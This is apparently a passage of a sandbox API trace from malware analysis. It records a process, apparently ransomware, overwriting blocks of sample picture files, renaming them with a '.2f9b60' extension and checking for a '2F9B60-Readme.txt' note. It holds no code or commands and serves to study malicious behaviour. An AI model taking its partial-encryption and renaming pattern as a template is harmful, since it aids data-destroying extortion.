| out: Seed=0x3ae4f850) returned 0x116ea9be [0116.881] RtlRandomEx (in: Seed=0x3ae4f850 | out: Seed=0x3ae4f850) returned 0x5e83d93d [0116.881] RtlRandomEx (in: Seed=0x3ae4f850 | out: Seed=0x3ae4f850) returned 0x24bb09cc [0116.881] RtlRandomEx (in: Seed=0x3ae4f850 | out: Seed=0x3ae4f850) returned 0x2dc13938 [0116.881] RtlRandomEx (in: Seed=0x3ae4f850 | out: Seed=0x3ae4f850) returned 0x2dc8b830 [0116.882] RtlRandomEx (in: Seed=0x3ae4f850 | out: Seed=0x3ae4f850) returned 0x1b952fd5 [0116.882] RtlRandomEx (in: Seed=0x3ae4f850 | out: Seed=0x3ae4f850) returned 0x14234ea3 [0116.882] RtlRandomEx (in: Seed=0x3ae4f850 | out: Seed=0x3ae4f850) returned 0x5af1d3b8 [0116.882] RtlRandomEx (in: Seed=0x3ae4f850 | out: Seed=0x3ae4f850) returned 0xa5d7bd9 [0116.882] RtlRandomEx (in: Seed=0x3ae4f850 | out: Seed=0x3ae4f850) returned 0x6497034a [0116.882] RtlRandomEx (in: Seed=0x3ae4f850 | out: Seed=0x3ae4f850) returned 0x33c7b438 [0116.882] RtlRandomEx (in: Seed=0x3ae4f850 | out: Seed=0x3ae4f850) returned 0x6c307fcd [0116.882] RtlRandomEx (in: Seed=0x3ae4f850 | out: Seed=0x3ae4f850) returned 0x1badc838 [0116.882] RtlRandomEx (in: Seed=0x3ae4f850 | out: Seed=0x3ae4f850) returned 0x4fc75bc0 [0116.882] RtlRandomEx (in: Seed=0x3ae4f850 | out: Seed=0x3ae4f850) returned 0x1f1d97be [0116.882] RtlRandomEx (in: Seed=0x3ae4f850 | out: Seed=0x3ae4f850) returned 0x7d7dfc8f [0116.882] RtlRandomEx (in: Seed=0x3ae4f850 | out: Seed=0x3ae4f850) returned 0x723a8470 [0116.882] RtlRandomEx (in: Seed=0x3ae4f850 | out: Seed=0x3ae4f850) returned 0x229664c7 [0116.882] RtlRandomEx (in: Seed=0x3ae4f850 | out: Seed=0x3ae4f850) returned 0x93fb45c [0116.882] RtlRandomEx (in: Seed=0x3ae4f850 | out: Seed=0x3ae4f850) returned 0x56e53a7a [0116.882] RtlRandomEx (in: Seed=0x3ae4f850 | out: Seed=0x3ae4f850) returned 0x3b088222 [0116.882] RtlRandomEx (in: Seed=0x3ae4f850 | out: Seed=0x3ae4f850) returned 0x3cef7faa [0116.882] RtlRandomEx (in: Seed=0x3ae4f850 | out: Seed=0x3ae4f850) returned 0x2ae62c65 [0116.882] RtlRandomEx (in: Seed=0x3ae4f850 | out: Seed=0x3ae4f850) returned 0xe3184a5 [0116.882] RtlRandomEx (in: Seed=0x3ae4f850 | out: Seed=0x3ae4f850) returned 0x4feb5463 [0116.891] SetFilePointerEx (in: hFile=0x1680, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.891] ReadFile (in: hFile=0x1680, lpBuffer=0x41ba6910, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3ae4f8c0, lpOverlapped=0x0 | out: lpBuffer=0x41ba6910*, lpNumberOfBytesRead=0x3ae4f8c0*=0x3c00, lpOverlapped=0x0) returned 1 [0116.911] SetFilePointerEx (in: hFile=0x1680, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.911] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bcc0 [0116.911] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868340 [0116.911] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860ff0 [0116.911] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860ff0) returned 1 [0116.912] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41baa520 [0116.912] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860ff0 [0116.912] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b861020 [0116.912] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861020) returned 1 [0116.912] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868340) returned 1 [0116.912] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bcc0) returned 1 [0116.912] WriteFile (in: hFile=0x1680, lpBuffer=0x41baa520*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3ae4f8c0, lpOverlapped=0x0 | out: lpBuffer=0x41baa520*, lpNumberOfBytesWritten=0x3ae4f8c0*=0x3c00, lpOverlapped=0x0) returned 1 [0130.175] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41baa520) returned 1 [0130.175] SetFilePointerEx (in: hFile=0x1680, liDistanceToMove=0x47400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.175] ReadFile (in: hFile=0x1680, lpBuffer=0x41ba6910, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3ae4f8c0, lpOverlapped=0x0 | out: lpBuffer=0x41ba6910*, lpNumberOfBytesRead=0x3ae4f8c0*=0x3c00, lpOverlapped=0x0) returned 1 [0130.178] SetFilePointerEx (in: hFile=0x1680, liDistanceToMove=0x47400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.178] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97120 [0130.178] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867ec0 [0130.178] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202605c0 [0130.179] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202605c0) returned 1 [0130.179] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41baa520 [0130.179] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202605c0 [0130.179] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262870 [0130.179] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262870) returned 1 [0130.179] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867ec0) returned 1 [0130.179] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97120) returned 1 [0130.179] WriteFile (hFile=0x1680, lpBuffer=0x41baa520, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3ae4f8c0, lpOverlapped=0x0) [0170.991] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41baa520) returned 1 [0170.991] SetFilePointerEx (in: hFile=0x1680, liDistanceToMove=0x8547c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.992] ReadFile (in: hFile=0x1680, lpBuffer=0x41ba6910, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3ae4f8c0, lpOverlapped=0x0 | out: lpBuffer=0x41ba6910*, lpNumberOfBytesRead=0x3ae4f8c0*=0x3c00, lpOverlapped=0x0) returned 1 [0171.175] SetFilePointerEx (in: hFile=0x1680, liDistanceToMove=0x8547c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.175] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97990 [0171.176] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79da70 [0171.176] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d070 [0171.176] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1d070) returned 1 [0171.176] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42076d10 [0171.177] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d070 [0171.177] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d0a0 [0171.177] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1d0a0) returned 1 [0171.178] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79da70) returned 1 [0171.178] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97990) returned 1 [0171.178] WriteFile (in: hFile=0x1680, lpBuffer=0x42076d10*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3ae4f8c0, lpOverlapped=0x0 | out: lpBuffer=0x42076d10*, lpNumberOfBytesWritten=0x3ae4f8c0*=0x3c00, lpOverlapped=0x0) returned 1 [0194.946] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42076d10) returned 1 [0194.946] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4309f600 [0194.947] SetFilePointerEx (in: hFile=0x1680, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0194.947] WriteFile (in: hFile=0x1680, lpBuffer=0x431f4e00*, nNumberOfBytesToWrite=0x14e, lpNumberOfBytesWritten=0x3ae4f970, lpOverlapped=0x0 | out: lpBuffer=0x431f4e00*, lpNumberOfBytesWritten=0x3ae4f970*=0x14e, lpOverlapped=0x0) returned 1 [0201.580] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f4e00) returned 1 [0201.580] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5dfb0) returned 1 [0201.581] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860ff0) returned 1 [0201.581] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5df70) returned 1 [0201.582] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4309f600) returned 1 [0201.582] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860e70) returned 1 [0201.583] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860f00) returned 1 [0201.583] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860f30) returned 1 [0201.583] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x43107800 [0201.592] wcscpy (in: _Dest=0x43107800, _Source="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg" [0201.593] wcscat (in: _Dest=0x43107800, _Source=".2f9b60" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg.2f9b60") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg.2f9b60" [0201.593] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg.2f9b60", NtPathName=0x3ae4f990, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.593] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x431a76f0 [0226.999] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a76f0) returned 1 [0226.999] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4320ab80) returned 1 [0226.999] NtQueryInformationFile (in: FileHandle=0x1680, IoStatusBlock=0x3ae4f9f8, FileInformation=0x3ae4fa08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3ae4f9f8, FileInformation=0x3ae4fa08) returned 0x0 [0226.999] NtSetInformationFile (FileHandle=0x1680, IoStatusBlock=0x3ae4f9f8, FileInformation=0x3ae4fa08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0234.793] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43107800) returned 1 [0234.793] FlushFileBuffers (hFile=0x1680) returned 1 [0238.177] CloseHandle (hObject=0x1680) returned 1 [0240.449] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1ceba260 [0240.449] wcscpy (in: _Dest=0x1ceba260, _Source="C:\\Users\\Public\\Pictures\\Sample Pictures\\" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\" [0240.449] wcscat (in: _Dest=0x1ceba260, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\2F9B60-Readme.txt") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\2F9B60-Readme.txt" [0240.449] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\2F9B60-Readme.txt" (normalized: "c:\\users\\public\\pictures\\sample pictures\\2f9b60-readme.txt")) returned 0x20 [0240.450] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba260) returned 1 [0240.450] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e110) returned 1 Thread: id = 1300 os_tid = 0xe54 [0116.724] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\penguins.jpg")) returned 0x20 [0116.774] SetFileAttributesW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg", dwFileAttributes=0x20) returned 1 [0116.789] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\penguins.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1658 [0116.912] GetFileSizeEx (in: hFile=0x1658, lpFileSize=0x264ffb20 | out: lpFileSize=0x264ffb20*=777835) returned 1 [0116.913] SetFilePointerEx (in: hFile=0x1658, liDistanceToMove=0xbde67, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.913] ReadFile (in: hFile=0x1658, lpBuffer=0x264ffaa0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x264ffae8, lpOverlapped=0x0 | out: lpBuffer=0x264ffaa0*, lpNumberOfBytesRead=0x264ffae8*=0x4, lpOverlapped=0x0) returned 1 [0116.929] SetFilePointerEx (in: hFile=0x1658, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.929] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8610e0 [0116.929] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b861230 [0116.929] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b861350 [0116.929] NtQuerySystemTime (in: CurrentTime=0x264ff9e0 | out: CurrentTime=0x264ff9e0*=132462177223738000) returned 0x0 [0116.929] RtlRandomEx (in: Seed=0x264ff9d0 | out: Seed=0x264ff9d0) returned 0x3174d79c [0116.929] RtlRandomEx (in: Seed=0x264ff9d0 | out: Seed=0x264ff9d0) returned 0x326b1b6b [0116.929] RtlRandomEx (in: Seed=0x264ff9d0 | out: Seed=0x264ff9d0) returned 0x1690ca98 [0116.929] RtlRandomEx (in: Seed=0x264ff9d0 | out: Seed=0x264ff9d0) returned 0x5e524eab [0116.929] RtlRandomEx (in: Seed=0x264ff9d0 | out: Seed=0x264ff9d0) returned 0x4b497575 [0116.929] RtlRandomEx (in: Seed=0x264ff9d0 | out: Seed=0x264ff9d0) returned 0x2f66e1de [0116.929] RtlRandomEx (in: Seed=0x264ff9d0 | out: Seed=0x264ff9d0) returned 0x74781236 [0116.929] RtlRandomEx (in: Seed=0x264ff9d0 | out: Seed=0x264ff9d0) returned 0xf406c95 [0116.929] RtlRandomEx (in: Seed=0x264ff9d0 | out: Seed=0x264ff9d0) returned 0x69e37d44 [0116.929] RtlRandomEx (in: Seed=0x264ff9d0 | out: Seed=0x264ff9d0) returned 0x70c985b [0116.929] RtlRandomEx (in: Seed=0x264ff9d0 | out: Seed=0x264ff9d0) returned 0x55a12ac4 [0116.929] RtlRandomEx (in: Seed=0x264ff9d0 | out: Seed=0x264ff9d0) returned 0x4ff23480 [0116.929] RtlRandomEx (in: Seed=0x264ff9d0 | out: Seed=0x264ff9d0) returned 0x2de943ab [0116.929] RtlRandomEx (in: Seed=0x264ff9d0 | out: Seed=0x264ff9d0) returned 0x276d001 [0116.929] RtlRandomEx (in: Seed=0x264ff9d0 | out: Seed=0x264ff9d0) returned 0x461f1f87 [0116.929] RtlRandomEx (in: Seed=0x264ff9d0 | out: Seed=0x264ff9d0) returned 0x196b4997 [0116.930] RtlRandomEx (in: Seed=0x264ff9d0 | out: Seed=0x264ff9d0) returned 0x4215d0c5 [0116.930] RtlRandomEx (in: Seed=0x264ff9d0 | out: Seed=0x264ff9d0) returned 0x37dd06e4 [0116.930] RtlRandomEx (in: Seed=0x264ff9d0 | out: Seed=0x264ff9d0) returned 0x2335fb2f [0116.930] RtlRandomEx (in: Seed=0x264ff9d0 | out: Seed=0x264ff9d0) returned 0x17e0e5e9 [0116.930] RtlRandomEx (in: Seed=0x264ff9d0 | out: Seed=0x264ff9d0) returned 0x5cbab3fa [0116.930] RtlRandomEx (in: Seed=0x264ff9d0 | out: Seed=0x264ff9d0) returned 0x1f6098cb [0116.930] RtlRandomEx (in: Seed=0x264ff9d0 | out: Seed=0x264ff9d0) returned 0x6345671 [0116.930] RtlRandomEx (in: Seed=0x264ff9d0 | out: Seed=0x264ff9d0) returned 0x5591191d [0116.930] RtlRandomEx (in: Seed=0x264ff9d0 | out: Seed=0x264ff9d0) returned 0x69d1c110 [0116.930] RtlRandomEx (in: Seed=0x264ff9d0 | out: Seed=0x264ff9d0) returned 0x5445a2e9 [0116.930] RtlRandomEx (in: Seed=0x264ff9d0 | out: Seed=0x264ff9d0) returned 0x5b6a3502 [0116.930] RtlRandomEx (in: Seed=0x264ff9d0 | out: Seed=0x264ff9d0) returned 0x5d4d20d3 [0116.930] RtlRandomEx (in: Seed=0x264ff9d0 | out: Seed=0x264ff9d0) returned 0x15f22048 [0116.930] RtlRandomEx (in: Seed=0x264ff9d0 | out: Seed=0x264ff9d0) returned 0x406967ae [0116.930] RtlRandomEx (in: Seed=0x264ff9d0 | out: Seed=0x264ff9d0) returned 0x44a010aa [0116.930] RtlRandomEx (in: Seed=0x264ff9d0 | out: Seed=0x264ff9d0) returned 0x48f8acce [0116.940] SetFilePointerEx (in: hFile=0x1658, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.940] ReadFile (in: hFile=0x1658, lpBuffer=0x41f93cc0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x264ffa40, lpOverlapped=0x0 | out: lpBuffer=0x41f93cc0*, lpNumberOfBytesRead=0x264ffa40*=0x3c00, lpOverlapped=0x0) returned 1 [0116.943] SetFilePointerEx (in: hFile=0x1658, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.943] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bcc0 [0116.943] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868340 [0116.943] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b861350 [0116.944] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861350) returned 1 [0116.944] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41faa520 [0116.944] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b861350 [0116.944] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860fc0 [0116.944] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860fc0) returned 1 [0116.944] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868340) returned 1 [0116.944] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bcc0) returned 1 [0116.944] WriteFile (in: hFile=0x1658, lpBuffer=0x41faa520*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x264ffa40, lpOverlapped=0x0 | out: lpBuffer=0x41faa520*, lpNumberOfBytesWritten=0x264ffa40*=0x3c00, lpOverlapped=0x0) returned 1 [0130.182] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41faa520) returned 1 [0130.182] SetFilePointerEx (in: hFile=0x1658, liDistanceToMove=0x61800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.182] ReadFile (in: hFile=0x1658, lpBuffer=0x41f93cc0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x264ffa40, lpOverlapped=0x0 | out: lpBuffer=0x41f93cc0*, lpNumberOfBytesRead=0x264ffa40*=0x3c00, lpOverlapped=0x0) returned 1 [0130.185] SetFilePointerEx (in: hFile=0x1658, liDistanceToMove=0x61800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.185] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97120 [0130.185] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867ec0 [0130.185] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262870 [0130.185] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262870) returned 1 [0130.186] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41faa520 [0130.186] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262870 [0130.186] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262e40 [0130.186] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262e40) returned 1 [0130.186] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867ec0) returned 1 [0130.186] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97120) returned 1 [0130.186] WriteFile (hFile=0x1658, lpBuffer=0x41faa520, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x264ffa40, lpOverlapped=0x0) [0170.993] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41faa520) returned 1 [0170.993] SetFilePointerEx (in: hFile=0x1658, liDistanceToMove=0xba26b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.993] ReadFile (in: hFile=0x1658, lpBuffer=0x41f93cc0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x264ffa40, lpOverlapped=0x0 | out: lpBuffer=0x41f93cc0*, lpNumberOfBytesRead=0x264ffa40*=0x3c00, lpOverlapped=0x0) returned 1 [0171.179] SetFilePointerEx (in: hFile=0x1658, liDistanceToMove=0xba26b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.179] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97990 [0171.179] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79da70 [0171.179] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d0a0 [0171.179] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1d0a0) returned 1 [0171.180] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4207a920 [0171.180] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d0a0 [0171.180] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d0d0 [0171.181] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1d0d0) returned 1 [0171.181] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79da70) returned 1 [0171.181] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97990) returned 1 [0171.181] WriteFile (in: hFile=0x1658, lpBuffer=0x4207a920*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x264ffa40, lpOverlapped=0x0 | out: lpBuffer=0x4207a920*, lpNumberOfBytesWritten=0x264ffa40*=0x3c00, lpOverlapped=0x0) returned 1 [0194.874] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4207a920) returned 1 [0194.874] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1cddfb40 [0194.875] SetFilePointerEx (in: hFile=0x1658, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0194.875] WriteFile (in: hFile=0x1658, lpBuffer=0x431f4ca0*, nNumberOfBytesToWrite=0x14a, lpNumberOfBytesWritten=0x264ffaf0, lpOverlapped=0x0 | out: lpBuffer=0x431f4ca0*, lpNumberOfBytesWritten=0x264ffaf0*=0x14a, lpOverlapped=0x0) returned 1 [0201.570] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f4ca0) returned 1 [0201.571] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43138170) returned 1 [0201.571] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43137fc0) returned 1 [0201.572] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861350) returned 1 [0201.572] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddfb40) returned 1 [0201.573] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861230) returned 1 [0201.573] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861320) returned 1 [0201.573] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861380) returned 1 [0201.573] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x43107770 [0201.573] wcscpy (in: _Dest=0x43107770, _Source="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg" [0201.573] wcscat (in: _Dest=0x43107770, _Source=".2f9b60" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg.2f9b60") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg.2f9b60" [0201.573] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg.2f9b60", NtPathName=0x264ffb10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.573] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x43196f40 [0227.337] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43196f40) returned 1 [0227.337] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4320a720) returned 1 [0227.337] NtQueryInformationFile (in: FileHandle=0x1658, IoStatusBlock=0x264ffb78, FileInformation=0x264ffb88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x264ffb78, FileInformation=0x264ffb88) returned 0x0 [0227.338] NtSetInformationFile (FileHandle=0x1658, IoStatusBlock=0x264ffb78, FileInformation=0x264ffb88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0235.226] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43107770) returned 1 [0235.226] FlushFileBuffers (hFile=0x1658) returned 1 [0238.220] CloseHandle (hObject=0x1658) returned 1 [0241.559] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 